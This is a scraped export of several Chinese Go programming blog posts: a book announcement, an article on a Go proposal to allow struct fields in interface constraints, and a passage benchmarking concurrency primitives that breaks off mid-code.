万名订阅者(截至2025.8)，在编程语言类专栏里取得了相当不错的成绩。\n为了让这份经过市场检验的优质内容，能以一种更经典、更触手可及的方式，帮助更多人踏入 Go 语言的大门，我与人民邮电出版社异步图书合作，历时一年多的精心打磨，终于将它变成了纸质书 — 我的第二本“小黄书”：\n我必须强调，这本书并非专栏的简单复制。在近一年多的时间里，我倾注了大量心血，进行了一次彻底的精修与增补：\n内容与时俱进：全书内容与最新的 Go 1.24 版本 同步(注：交稿时的最新版本为Go 1.24)，确保知识的前沿性与准确性。 知识体系更完整：我特别补充和深化了专栏中因篇幅所限未能详尽展开的关键内容，如指针类型的深入探讨、测试的最佳实践、以及泛型的全面讲解，使其作为一本入门读物更加系统和完备。 全面精炼与优化：基于三年来数万读者的宝贵反馈，我对全书的结构、文字表述、示例代码和图示进行了地毯式的优化，力求为读者提供“保姆级”的丝滑阅读体验。 为了让大家更直观地感受这本书是如何从“道”到“术”，构建一个完整而系统的知识体系的，我在这里分享本书的核心目录结构：\n《Go语言第一课》核心目录概览\n第一部分：建立宏观认知 (打好地基)\n第1章 Go的那些事儿 (追本溯源，深入理解Go的诞生背景、演进历史与核心设计哲学：简单、显式、组合、并发、面向工程) 第二部分：基础与工程化 (工欲善其事)\n第2章 建立Go开发环境 第3章 第一个Go程序 第4章 Go包、模块与代码组织结构 第5章 Go的依赖管理 (从演化到Go module实战) 第三部分：核心语法精讲 (深入肌理)\n第6章 变量与类型 第7章 基本数据类型 第8章 常量 (深入理解无类型常量等创新) 第9章 复合数据类型 (数组、切片、map、结构体) 第10章 指针类型 (新增与深化章节，彻底搞懂Go指针) 第11章 控制结构 第四部分：Go编程思想与范式 (提升境界)\n第12章 函数 (一等公民、defer的妙用与代价) 第13章 错误处理 (Go独特的错误处理哲学与实践) 第14章 方法 (深入理解Receiver的选择原则) 第15章 接口类型 (小接口、组合思想与底层实现) 第五部分：Go核心竞争力 (决胜未来)\n第16章 并发编程 (Goroutine、Channel与CSP并发模型) 第17章 泛型 (与Go 1.24同步，从设计演化到语法实践) 第18章 测试 (表驱动测试、示例测试、性能基准测试等最佳实践) 从这份目录中大家可以看到，本书的路径设计清晰：从建立对 Go 的整体认知和哲学认同开始，到掌握扎实的工程基础，再到深入语言的核心语法与编程范式，最终聚焦于并发、泛型和测试这三大核心竞争力。 这是一条为初学者量身打造的、平滑而陡峭的学习曲线，旨在帮助你不仅学会 Go，更能学好 Go。\n当然这份精益求精的背后，离不开人民邮电出版社异步图书编辑老师们的辛勤付出。在长达一年的审校过程中，他们以极高的专业素养和一丝不苟的态度，对书稿的每一处细节进行推敲和打磨。从章节结构的优化，到遣词造句的斟酌，再到每一个标点符号的校对，都倾注了大量心血。\n下面这张布满批注的审稿截图，只是责任编辑秦健老师无数次打磨与推敲的一个缩影。正是因为有了这样认真负责的合作伙伴，这本书才能以更好的面貌呈现给大家。在此，向编辑老师们致以我最诚挚的谢意！\n简单来说，这本书凝结了我十余年的 Go 语言实战经验和布道心血，旨在为所有初学者提供一条清晰、高效的 Go 语言入门路径，不仅能快速上手，更能从一开始就建立起扎实的工程思维，为后续的进阶和实战打下坚实的基础。\n灵魂拷问：AI 时代，我们为什么还需要一本入门书？ 官宣完毕，我想和你探讨一个更深层次的问题。\n在 ChatGPT、Claude、Gemini、DeepSeek、Copilot 等 AI 工具已经能“秒答”任何技术问题的今天，我们为什么还需要静下心来，系统地去阅读一本厚重的、入门级的纸质书？\n这是一个极其现实的挑战。作为一名同样深度使用 AI 的工程师，我的答案是：越是在这个时代，我们越需要一本好的入门书。\n1. AI 提供“答案”，书籍构建“体系” AI 的强大之处，在于它能针对你提出的具体问题，迅速给出一个看起来可行的“答案”（代码片段）。它能高效地帮你解决“术”层面的问题。\n但一本好的入门书，为你构建的是一张捕鱼的“网”——一个结构化、系统化的知识体系。它从语言的“前世今生”与设计哲学讲起，为你建立宏观认知；然后层层递进，系统讲解语法、并发、泛型等核心知识点。\n没有体系的知识是脆弱的、零散的。你或许能用 AI 拼凑出一个能运行的程序，但在面对复杂、未知的问题时，你将因为缺乏坚实的知识框架而寸步难行。而这本书，正是为你打造这张网。\n2. 对抗“能力空心化”，修炼真正的“内功” 我在之前的文章中反复提及一个概念——警惕 AI 带来的“能力空心化”。过度依赖 AI，会让初级工程师陷入“知其然，而不知其所以然”的困境。\n系统地学习一本入门书，恰恰是修炼“内功”的最佳方式。它强迫你去理解每一行代码背后的设计哲学、核心原理、以及那些微妙的权衡取舍。\n为什么 Go 的错误处理是这样的？ interface{} 的底层实现是怎样的？ CSP 并发模型的核心思想是什么？ 这些问题的答案，无法通过简单的 Prompt 获得。它们需要你沉下心来，跟随作者的思路，一步一个脚印地去理解和内化。这个过程，正是在构建你作为一名工程师，那份不可被 AI 替代的核心竞争力。\n3. 纸质书，一种无可替代的沉浸式学习体验 最后，让我们回归阅读本身。\n在信息过载的今天，纸质书提供了一种稀缺的、主动的、专注的、沉浸式的学习体验。它能帮助我们暂时摆脱屏幕上无尽的通知和干扰，让大脑进入一种更深度的思考状态。你可以随时在书页上圈点、批注，与作者进行一场跨越时空的对话。这种物理的交互感和知识的“拥有感”，是任何数字媒介都无法比拟的。\n布道者的心声：传递观点，影响他人 回首这十几年的 Go 之旅，我愈发觉得，布道本身就是一件极具价值的事情。它不仅仅是分享知识，更是传递一种观点，影响一群人，最终一起做成一件事情。\n我写博著书和开设专栏的初衷，也正是如此。我希望传递的，不仅仅是 Go 语言的“术”——那些语法和技巧；更是 Go 语言的“道”——那种**“简单、显式、组合、并发、面向工程”**的编程哲学与乐趣。\n在此，我要特别感谢极客时间平台，感谢人民邮电出版社异步图书的专业与付出，但最想感谢的，是四年来那 2.4w+ 的专栏订阅者，以及所有在我的博客、公众号、社区中与我交流、给我反馈的每一位读者。是你们的支持，才让这份“长期主义”有了最坚实的意义。\n行动号召：即刻拥有你的《Go语言第一课》 现在，这本凝结了无数心血的《Go语言第一课》纸质版，已正式上市！\n在本书的定价阶段，我和出版社的编辑老师们有一个共同的坚持：希望能让更多的 Go 语言爱好者，能够以更低的门槛，轻松地获取这份系统化的知识。为此，我们将这本书的定价一再压缩，最终定在了 79.8 元。\n而为了感谢大家一直以来的支持与耐心等待，我们特别为大家申请了首发专属福利。在活动期间，大家可以通过下方的专属链接，以**【五折优惠】**的价格——算下来仅需不到 40 元——将这本300多页的硬核知识带回家。\n这可能是本书在未来很长一段时间内的最低价格，希望能让每一位真正热爱 Go 语言的朋友，都能无压力地拥有它。\n扫描下方二维码或点击这里， 即享五折优惠，即刻开启你的Go语言高效学习之旅！\n请注意，此五折优惠二维码仅在新书首发冲量期间有效，机会难得，不要错过！\n为了更好地服务本书读者，我也为本书创建了专属的 GitHub 仓库，用于持续发布勘误信息和提供完整的配套示例代码。追求高质量，是我们共同的目标。\n勘误与代码支持：https://github.com/bigwhite/goprimer 期待在书的扉页里，与你相遇。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/28/go-primer-published/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-primer-published-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/28/go-primer-published\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/28/go-primer-published\"\u003ehttps://tonybai.com/2025/08/28/go-primer-published\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e前不久，在知乎上看到一个关于 Go 社区的帖子，其中一条评论让我感慨良多：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e“GopherChina 都没了，国内还有几人坚持？Tony Bai好像还在更新”\u003c/strong\u003e\u003c/p\u003e","title":"我的 Gopher “长期主义”：从《Go语言第一课》新书说起"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/27/go-interface-embrace-data\n大家好，我是Tony Bai。\n在 Go 语言的世界里，接口（interface）一直被视为其设计哲学的基石之一——它只关心一个类型能做什么（行为），而不关心它是什么（结构）。这种基于方法集的鸭子类型，赋予了 Go 独一无二的灵活性和解耦能力。然而，随着 Go 1.18 泛型的到来，一个深刻的问题被摆上了台面：当我们需要编写对数据的结构而非行为具有通用性的代码时，现有的约束机制是否足够？\nGitHub 上的 Issue #51259，“proposal: spec: support for struct members in interface/constraint syntax”，正是这场“灵魂拷问”的中心。它提出的一个看似简单的想法——让接口能够描述结构体字段——却引发了一场关于 Go 语言核心哲学的深度辩论：我们是应该坚守“行为至上”的纯粹性，还是应该拥抱一个更务实的、能感知数据结构的泛型系统？\n在这篇文章中，我就和大家一起来看看Go社区和Go团队关注这个提案的讨论过程，以及基于当前现状的临时决议。\n问题的根源：当泛型遇到结构 想象一下这个常见的场景：你需要编写一个通用的函数，来处理一组具有共同字段的结构体，比如各种类型的 Kubernetes 资源，它们都内嵌了 metav1.ObjectMeta 和 metav1.TypeMeta。或者，在图形学应用中，你需要处理多种都包含 X、Y 字段的 Point 结构。\n在 Go 1.18 之后，我们很自然地会想到使用类型联合（union）来约束泛型函数：\ntype Point2D struct { X, Y float64 } type Point3D struct { X, Y, Z float64 } // 期望的写法 func Distance[T Point2D | Point3D](p T) float64 { // 编译失败！ // p.X undefined (type T has no field or method X) return math.Sqrt(p.X*p.X + p.Y*p.Y) } 然而，编译器无情地拒绝了我们。原因在于，Go 的泛型约束规定，对类型参数的操作，必须是其类型集合中所有类型都明确支持的。对于一个类型联合，其“共同能力”仅限于所有成员都实现的方法集，而不包括共同的字段。\n为了绕过这个限制，目前唯一的办法是回归到 Go 的传统强项：行为接口。开发者被迫为每个结构体编写琐碎的 getter/setter 方法，仅仅是为了让它们满足同一个行为接口，从而能在泛型函数中使用，但这恰恰是“样板代码”的来源：\nimport \u0026#34;math\u0026#34; // 原始结构体 type Point2D struct{ X, Y float64 } type Point3D struct{ X, Y, Z float64 } // 1. 定义一个行为接口来描述“获取坐标”的行为 type Point interface { X() float64 Y() float64 } // 2. 为每个结构体实现接口（这部分就是样板代码） func (p Point2D) X() float64 { return p.X } func (p Point2D) Y() float64 { return p.Y } func (p Point3D) X() float64 { return p.X } func (p Point3D) Y() float64 { return p.Y } // 3. 现在，泛型函数可以基于行为接口工作了 func Distance[T Point](p T) float64 { // 通过方法调用，而非字段访问 return math.Sqrt(p.X()*p.X() + p.Y()*p.Y()) } 上面的代码现在可以编译通过了，但代价是什么？我们被迫编写了四个极其琐碎的、仅仅是 return p.FieldName 的 getter 方法。这些方法没有增加任何新的业务逻辑，它们存在的唯一目的，就是为了满足类型系统的约束。如果还需要修改字段，我们还得再为每个结构体编写 SetX、SetY 等 setter 方法。\n当需要约束的字段增多，或者涉及的结构体类型增加时，这种样板代码会呈爆炸式增长。这正是这场“灵魂拷问”的开端：为了形式上的“行为”，我们是否牺牲了实质上的简洁与直观？我们是否应该有一种更直接的方式，来表达对结构的约束？\n提案的核心：让接口描述“数据契约” 为了摆脱这种繁琐的 “getter 样板代码” 困境，提案者提出了一个大胆而直观的想法：将对结构的要求，直接提升为接口的一部分，让接口能够描述一种“数据契约”。\n// 提案中的核心语法 type TwoDimensional interface { X, Y int } // 泛型函数现在可以直接访问由约束保证存在的字段 func TwoDimensionOperation[T TwoDimensional](value T) int { return value.X * value.Y // 合法！ } type Point2D struct{ X, Y int } type Point3D struct{ X, Y, Z int } var p2 Point2D var p3 Point3D TwoDimensionOperation(p2) // 编译通过 TwoDimensionOperation(p3) // 编译通过 这个提议的精妙之处在于，它并没有发明一个全新的概念，而是将我们之前被迫用 行为 (getter 方法) 模拟的 结构 约束，变成了一种一等公民。它精准地回答了一个问题：如果我们只是想要访问一个字段，为什么必须强制类型去实现一个方法呢？为什么不能直接在约束中声明我们对“数据契约”的要求？\n一位参与讨论的 Gopher 对此给出了一个绝佳的类比，清晰地阐述了这种思想上的转变：\n“In the same way that type XGetter interface { GetX() int } represents the set of types that implement the method GetX() int, Xer would be the set of types that have a member X.”\n（就像 XGetter 接口代表了所有实现了 GetX() int 方法的类型集合一样，Xer 接口将代表所有拥有字段 X 的类型集合。）\n这种转变不仅是语法的简化，更是思维模式的飞跃。它允许我们从“要求一个 GetX() 的行为”，转变为更直接的“要求一个 X 字段的存在”。这不仅解决了样板代码的问题，还带来了潜在的性能优势：编译器可以直接生成字段访问指令，而无需像方法调用那样进行动态派发（dynamic dispatch）。\n激烈的辩论：行为 vs. 结构 这个提案立即引发了社区的深度讨论，核心的争议点在于它是否动摇了 Go 接口的哲学根基。\n反对的声音：“接口应该只关乎行为” 一些Go社区成员的观点认为，这是对 Go 接口核心理念的背离：\n“It seems to shift the emphasis of interfaces from behavior to data… a mechanism for focusing on what a type can do, rather that what a type is composed of.”\n（这似乎将接口的重点从行为转移到了数据……接口是一个专注于类型能做什么，而非由什么组成的机制。）\n这种观点认为，字段是数据（data）或结构（structure），而方法是行为（behavior）。一旦接口开始描述数据，Go 就可能失去其设计上的纯粹性，向更复杂的、基于结构继承的语言靠拢。\n支持的声音：“字段也是一种操作” \u0026amp; “泛型改变了游戏规则” 另一方则认为，这种“行为 vs. 结构”的二元对立在泛型时代已经过时。Go 核心团队的 ianlancetaylor 提供了一个全新的视角：\n“If you view field access as an operation on a type, in the same sense that + is an operation on a type, then it does make sense.”\n（如果你将字段访问视为一种类型上的操作，就像 + 是一种操作一样，那么这就说得通了。）\n泛型约束 interface{ int | float64 } 允许在函数内使用 + 操作符，正是因为它约束了类型集内的所有类型都支持 + 这个“行为”。同理，interface{ X int } 也可以被理解为约束了所有类型都支持 .X 这个“操作”。\n此外，支持者认为，Go 1.18 引入的类型联合本身，就已经让接口开始描述“是什么”（具体的类型集合），而不仅仅是“能做什么”了。因此，允许接口描述结构，只是这一演进方向上合乎逻辑的下一步。\n深层挑战：可写性、嵌入与接口值 除了哲学辩论，讨论还深入到了一些棘手的技术细节：\n字段的可写性（Addressability）： 如果一个泛型函数可以修改字段 (point.X = 1.0)，当传入一个非指针的结构体值时，修改应该只发生在函数内部的副本上。但如果传入的是一个接口值，其底层动态值的可写性如何保证？这引出了关于“可写字段”约束的复杂讨论，例如用 *Y int 语法来表示可写字段。\n嵌入字段（Embedded Fields）： 如何在接口中表达一个类型必须“嵌入”另一个类型，而不仅仅是拥有其所有字段？这涉及到类型布局和方法提升等更深层次的语义，目前尚无完美的解决方案。\n接口值化： ianlancetaylor 明确指出，任何被接受的约束提案，都应该有潜力在未来演进为可被实例化的普通接口类型。一个只能作为约束存在的“半成品”接口，会给语言增加不必要的复杂性。\n结论：一个被搁置但远未结束的探索 最终，由于其巨大的复杂性和对语言核心概念的深远影响，Go 团队决定将此提案搁置（On Hold），以便在社区对 Go 1.18 泛型有了更充分的实践和理解后再做定夺。\n然而，这场辩论的价值远超提案本身。它强迫我们重新思考 Go 语言的核心概念在泛型时代下的新内涵。它揭示了在 Kubernetes API 操作、数据库 ORM、图形学库等真实世界场景中，对“结构化泛型”的迫切需求。\n虽然我们短期内不会看到 interface{ X int } 这样的语法，但这场讨论已经播下了种子。它可能会在未来以某种形式回归，或许是更完善的接口语法。Issue #51259 的开放状态，本身就代表着一种承诺：关于 Go 语言灵魂的探索，远未结束。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/27/go-interface-embrace-data/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-interface-embrace-data-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/27/go-interface-embrace-data\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/27/go-interface-embrace-data\"\u003ehttps://tonybai.com/2025/08/27/go-interface-embrace-data\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的世界里，接口（interface）一直被视为其设计哲学的基石之一——它只关心一个类型能\u003cstrong\u003e做什么\u003c/strong\u003e（行为），而不关心它\u003cstrong\u003e是什么\u003c/strong\u003e（结构）。这种基于方法集的鸭子类型，赋予了 Go 独一无二的灵活性和解耦能力。然而，随着 Go 1.18 泛型的到来，一个深刻的问题被摆上了台面：当我们需要编写对\u003cstrong\u003e数据的结构\u003c/strong\u003e而非行为具有通用性的代码时，现有的约束机制是否足够？\u003c/p\u003e","title":"Go语言的“灵魂拷问”：接口只关乎行为，还是也应拥抱数据？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/26/go-concurrency-cost-hierarchy\n大家好，我是Tony Bai。\nGo语言的并发模型以其简洁直观著称，但这种简单性背后，隐藏着一个跨越五个数量级的巨大性能鸿沟。当你的高并发服务遭遇性能瓶颈时，你是否也曾陷入“性能猜谜”的困境：是sync.Mutex太慢？是atomic操作不够快？还是某个channel的阻塞超出了预期？我们往往依赖直觉和pprof的零散线索，却缺乏一个系统性的框架来指导我们的判断。\n最近，我读到一篇5年前的，名为《A Concurrency Cost Hierarchy》的C++性能分析文章，该文通过精妙的实验，为并发操作的性能成本划分了六个清晰的、成本呈数量级递增的层级。这个模型如同一份性能地图，为我们提供了告别猜谜、走向系统化优化的钥匙。\n本文将这一强大的“并发成本层级”模型完整地移植并适配到Go语言的语境中，通过一系列完整、可复现的Go基准测试代码，为你打造一份专属Gopher的“并发成本清单”。读完本文，你将能清晰地识别出你的代码位于哪个性能层级，理解其背后的成本根源，并找到通往更高性能层级的明确路径。\n注：Go运行时和调度器的精妙之处，使得简单的按原文的模型套用变得不准确，本文将以真实的Go benchmark数据为基础。\n基准测试环境与问题设定 为了具象化地衡量不同并发策略的成本，我们将贯穿使用一个简单而经典的问题：在多个Goroutine之间安全地对一个64位整型计数器进行递增操作。\n我们将所有实现都遵循一个通用接口，并使用Go内置的testing包进行基准测试。这能让我们在统一的环境下，对不同策略进行公平的性能比较。\n下面便是包含了通用接口的基准测试代码文件main_test.go，你可以将以下所有代码片段整合到该文件中，然后通过go test -bench=. -benchmem命令来亲自运行和验证这些性能测试。\n// main_test.go package concurrency_levels import ( \u0026#34;math/rand\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;sync/atomic\u0026#34; \u0026#34;testing\u0026#34; ) // Counter 是我们将要实现的各种并发计数器的通用接口 type Counter interface { Inc() Value() int64 } // benchmark an implementation of the Counter interface func benchmark(b *testing.B, c Counter) { b.ResetTimer() b.RunParallel(func(pb *testing.PB) { for pb.Next() { c.Inc() } }) } // --- 在此之下，我们将逐一添加各个层级的 Counter 实现和 Benchmark 函数 --- 注意：请将所有后续代码片段都放在这个concurrency_levels包内)。此外，下面文中的实测数据是基于我个人的Macbook Pro(intel x86芯片)测试所得：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkMutexCounter-8 21802486 53.60 ns/op BenchmarkAtomicCounter-8 75927309 15.55 ns/op BenchmarkCasCounter-8 12468513 98.30 ns/op BenchmarkYieldingTicketLockCounter-8 401073 3516 ns/op BenchmarkBlockingTicketLockCounter-8 986607 1619 ns/op BenchmarkSpinningTicketLockCounter-8 6712968 154.6 ns/op BenchmarkShardedCounter-8 201299956 5.997 ns/op BenchmarkGoroutineLocalCounter-8 1000000000 0.2608 ns/op PASS ok demo 10.128s Level 2: 竞争下的原子操作与锁 – 缓存一致性的代价 (15ns – 100ns) 这是大多数并发程序的性能基准线。其核心成本源于现代多核CPU的缓存一致性协议。当多个核心试图修改同一块内存时，它们必须通过总线通信，争夺缓存行的“独占”所有权。这个过程被称为“缓存行弹跳”（Cache Line Bouncing），带来了不可避免的硬件级延迟。\nGo实现1: atomic.AddInt64 (实测: 15.55 ns/op) // --- Level 2: Atomic --- type AtomicCounter struct { counter int64 } func (c *AtomicCounter) Inc() { atomic.AddInt64(\u0026amp;c.counter, 1) } func (c *AtomicCounter) Value() int64 { return atomic.LoadInt64(\u0026amp;c.counter) } func BenchmarkAtomicCounter(b *testing.B) { benchmark(b, \u0026amp;AtomicCounter{}) } 分析: atomic.AddInt64直接映射到CPU的原子加指令（如x86的LOCK XADD），是硬件层面最高效的竞争处理方式。15.5ns的成绩展示了在高竞争下，硬件仲裁缓存行访问的惊人速度。\nGo实现2: sync.Mutex (实测: 53.60 ns/op) // --- Level 2: Mutex --- type MutexCounter struct { mu sync.Mutex counter int64 } func (c *MutexCounter) Inc() { c.mu.Lock(); c.counter++; c.mu.Unlock() } func (c *MutexCounter) Value() int64 { c.mu.Lock(); defer c.mu.Unlock(); return c.counter } func BenchmarkMutexCounter(b *testing.B) { benchmark(b, \u0026amp;MutexCounter{}) } 分析: Go的sync.Mutex是一个经过高度优化的混合锁。在竞争激烈时，它会先进行几次CPU自旋，若失败再通过调度器让goroutine休眠。53.6ns的成本包含了自旋的CPU消耗以及可能的调度开销，比纯硬件原子操作慢，但依然高效。\nGo实现3: CAS循环 (实测: 98.30 ns/op) // --- Level 2: CAS --- type CasCounter struct { counter int64 } func (c *CasCounter) Inc() { for { old := atomic.LoadInt64(\u0026amp;c.counter) if atomic.CompareAndSwapInt64(\u0026amp;c.counter, old, old+1) { return } } } func (c *CasCounter) Value() int64 { return atomic.LoadInt64(\u0026amp;c.counter) } func BenchmarkCasCounter(b *testing.B) { benchmark(b, \u0026amp;CasCounter{}) } 分析: 出乎意料的是，CAS循环比sync.Mutex慢。 这是因为在高竞争下，CompareAndSwap失败率很高，导致for循环多次执行。每次循环都包含一次Load和一次CompareAndSwap，多次的原子操作累加起来的开销，超过了sync.Mutex内部高效的自旋+休眠策略。这也从侧面证明了Go的sync.Mutex针对高竞争场景做了非常出色的优化。\nLevel 3 \u0026amp; 4: Scheduler深度介入 – Goroutine休眠与唤醒 (1,600ns – 3,600ns) 当我们强制goroutine进行休眠和唤醒，而不是让sync.Mutex自行决定时，性能会迎来一个巨大的数量级下降。这里的成本来自于Go调度器执行的复杂工作：保存goroutine状态、将其移出运行队列、并在未来某个时间点再将其恢复。\nGo实现1: 使用sync.Cond的阻塞锁 (实测: 1619 ns/op) // --- Level 3: Blocking Ticket Lock --- type BlockingTicketLockCounter struct { mu sync.Mutex; cond *sync.Cond; ticket, turn, counter int64 } func NewBlockingTicketLockCounter() *BlockingTicketLockCounter { c := \u0026amp;BlockingTicketLockCounter{}; c.cond = sync.NewCond(\u0026amp;c.mu); return c } func (c *BlockingTicketLockCounter) Inc() { c.mu.Lock() myTurn := c.ticket; c.ticket++ for c.turn != myTurn { c.cond.Wait() } // Goroutine休眠，等待唤醒 c.mu.Unlock() atomic.AddInt64(\u0026amp;c.counter, 1) // 锁外递增 c.mu.Lock() c.turn++; c.cond.Broadcast(); c.mu.Unlock() } func (c *BlockingTicketLockCounter) Value() int64 { c.mu.Lock(); defer c.mu.Unlock(); return c.counter } func BenchmarkBlockingTicketLockCounter(b *testing.B) { benchmark(b, NewBlockingTicketLockCounter()) } 分析: 1619ns的成本清晰地展示了显式cond.Wait()的代价。每个goroutine都会被park（休眠），然后被Broadcast unpark（唤醒）。这个过程比sync.Mutex的内部调度要重得多。\nGo实现2: 使用runtime.Gosched()的公平票据锁 (实测: 3516 ns/op) 在深入代码之前，我们必须理解设计这种锁的动机。在某些并发场景中，“公平性”（Fairness）是一个重要的需求。一个公平锁保证了等待锁的线程（或goroutine）能按照它们请求锁的顺序来获得锁，从而避免“饥饿”（Starvation）——即某些线程长时间无法获得执行机会。\n票据锁（Ticket Lock） 是一种经典的实现公平锁的算法。它的工作方式就像在银行排队叫号：\n取号：当一个goroutine想要获取锁时，它原子性地获取一个唯一的“票号”（ticket）。 等待叫号：它不断地检查当前正在“服务”的号码（turn）。 轮到自己：直到当前服务号码与自己的票号相符，它才能进入临界区。 服务下一位：完成工作后，它将服务号码加一，让下一个持有票号的goroutine进入。 这种机制天然保证了“先到先得”的公平性。然而，关键在于“等待叫号”这个环节如何实现。YieldingTicketLockCounter选择了一种看似“友好”的方式：在等待时调用runtime.Gosched()，主动让出CPU给其他goroutine。我们想通过这种方式来测试：当一个并发原语的设计强依赖于Go调度器的介入时，其性能成本会达到哪个数量级。\n// --- Level 3: Yielding Ticket Lock --- type YieldingTicketLockCounter struct { ticket, turn uint64; _ [48]byte; counter int64 } func (c *YieldingTicketLockCounter) Inc() { myTurn := atomic.AddUint64(\u0026amp;c.ticket, 1) - 1 for atomic.LoadUint64(\u0026amp;c.turn) != myTurn { runtime.Gosched() // 主动让出执行权 } c.counter++; atomic.AddUint64(\u0026amp;c.turn, 1) } func (c *YieldingTicketLockCounter) Value() int64 { return c.counter } func BenchmarkYieldingTicketLockCounter(b *testing.B) { benchmark(b, \u0026amp;YieldingTicketLockCounter{}) } 分析: 另一个意外发现：runtime.Gosched()比cond.Wait()更慢！ 这可能是因为cond.Wait()是一种目标明确的休眠——“等待特定信号”，调度器可以高效地处理。而runtime.Gosched()则是一种更宽泛的请求——“请调度别的goroutine”，这可能导致了更多的调度器“抖动”和不必要的上下文切换，从而产生了更高的平均成本。\nGo调度器能否化解Level 5灾难？ 现在，我们来探讨并发性能的“地狱”级别。这个级别的产生，源于一个在底层系统编程中常见，但在Go等现代托管语言中被刻意规避的设计模式：无限制的忙等待（Unbounded Spin-Wait）。\n在C/C++等语言中，为了在极低延迟的场景下获取锁，开发者有时会编写一个“自旋锁”（Spinlock）。它不会让线程休眠，而是在一个紧凑的循环中不断检查锁的状态，直到锁被释放。这种方式的理论优势是避免了昂贵的上下文切换，只要锁的持有时间极短，自旋的CPU开销就会小于一次线程休眠和唤醒的开销。\n灾难的根源：超订（Oversubscription）\n自旋锁的致命弱点在于核心超订——当活跃的、试图自旋的线程数量超过了物理CPU核心数时。在这种情况下，一个正在自旋的线程可能占据着一个CPU核心，而那个唯一能释放锁的线程却没有机会被调度到任何一个核心上运行。结果就是，自旋线程白白烧掉了整个CPU时间片（通常是毫-秒-级别），而程序毫无进展。这就是所谓的“锁护航”（Lock Convoy）的极端形态。\n我们的SpinningTicketLockCounter正是为了在Go的环境中复现这一经典灾难场景。我们使用与之前相同的公平票据锁逻辑，但将等待策略从“让出CPU”(runtime.Gosched())改为最原始的“原地空转”。我们想借此探索：Go的抢占式调度器，能否像安全网一样，接住这个从高空坠落的性能灾难？\nGo实现: 自旋票据锁 (实测: 154.6 ns/op，但在超订下会冻结) // --- Level \u0026#34;5\u0026#34; Mitigated: Spinning Ticket Lock --- type SpinningTicketLockCounter struct { ticket, turn uint64; _ [48]byte; counter int64 } func (c *SpinningTicketLockCounter) Inc() { myTurn := atomic.AddUint64(\u0026amp;c.ticket, 1) - 1 for atomic.LoadUint64(\u0026amp;c.turn) != myTurn { /* a pure spin-wait loop */ } c.counter++; atomic.AddUint64(\u0026amp;c.turn, 1) } func (c *SpinningTicketLockCounter) Value() int64 { return c.counter } func BenchmarkSpinningTicketLockCounter(b *testing.B) { benchmark(b, \u0026amp;SpinningTicketLockCounter{}) } 惊人的结果与分析:\n默认并发下 (-p=8, 8 goroutines on 4 cores): 性能为 154.6 ns/op。这远非灾难，而是回到了Level 2的范畴。原因是Go的抢占式调度器。它检测到长时间运行的无函数调用的紧密循环，并强制抢占，让其他goroutine（包括持有锁的那个）有机会运行。这是Go的运行时提供的强大安全网，将系统性灾难转化为了性能问题。\n但在严重超订的情况下(通过b.SetParallelism(2)模拟16 goroutines on 4 cores)：\nfunc BenchmarkSpinningTicketLockCounter(b *testing.B) { // 在测试中模拟超订场景 // 例如，在一个8核机器上，测试时设置 b.SetParallelism(2) * runtime.NumCPU() // 这会让goroutine数量远超GOMAXPROCS b.SetParallelism(2) benchmark(b, \u0026amp;SpinningTicketLockCounter{}) } 我们的基准测试结果显示，当b.SetParallelism(2)（在4核8线程机器上创建16个goroutine）时，这个测试无法完成，最终被手动中断。这就是Level 5的真实面貌。\n系统并未技术性死锁，而是陷入了“活锁”（Livelock）。过多的goroutine在疯狂自旋，耗尽了所有CPU时间片。Go的抢占式调度器虽然在努力工作，但在如此极端的竞争下，它无法保证能在有效的时间内将CPU资源分配给那个唯一能“解锁”并推动系统前进的goroutine。整个系统看起来就像冻结了一样，虽然CPU在100%运转，但有效工作吞吐量趋近于零。\n这证明了Go的运行时安全网并非万能。它能缓解一般情况下的忙等待，但无法抵御设计上就存在严重缺陷的、大规模的CPU资源滥用。\n从灾难到高成本：runtime.Gosched()的“救赎” (实测: 5048 ns/op) 那么，如何从Level 5的灾难中“生还”？答案是：将非协作的忙等待，变为协作式等待，即在自旋循环中加入runtime.Gosched()。\n// --- Level 3+: Cooperative High-Cost Wait --- type CooperativeSpinningTicketLockCounter struct { ticket uint64 turn uint64 _ [48]byte counter int64 } func (c *CooperativeSpinningTicketLockCounter) Inc() { myTurn := atomic.AddUint64(\u0026amp;c.ticket, 1) - 1 for atomic.LoadUint64(\u0026amp;c.turn) != myTurn { // 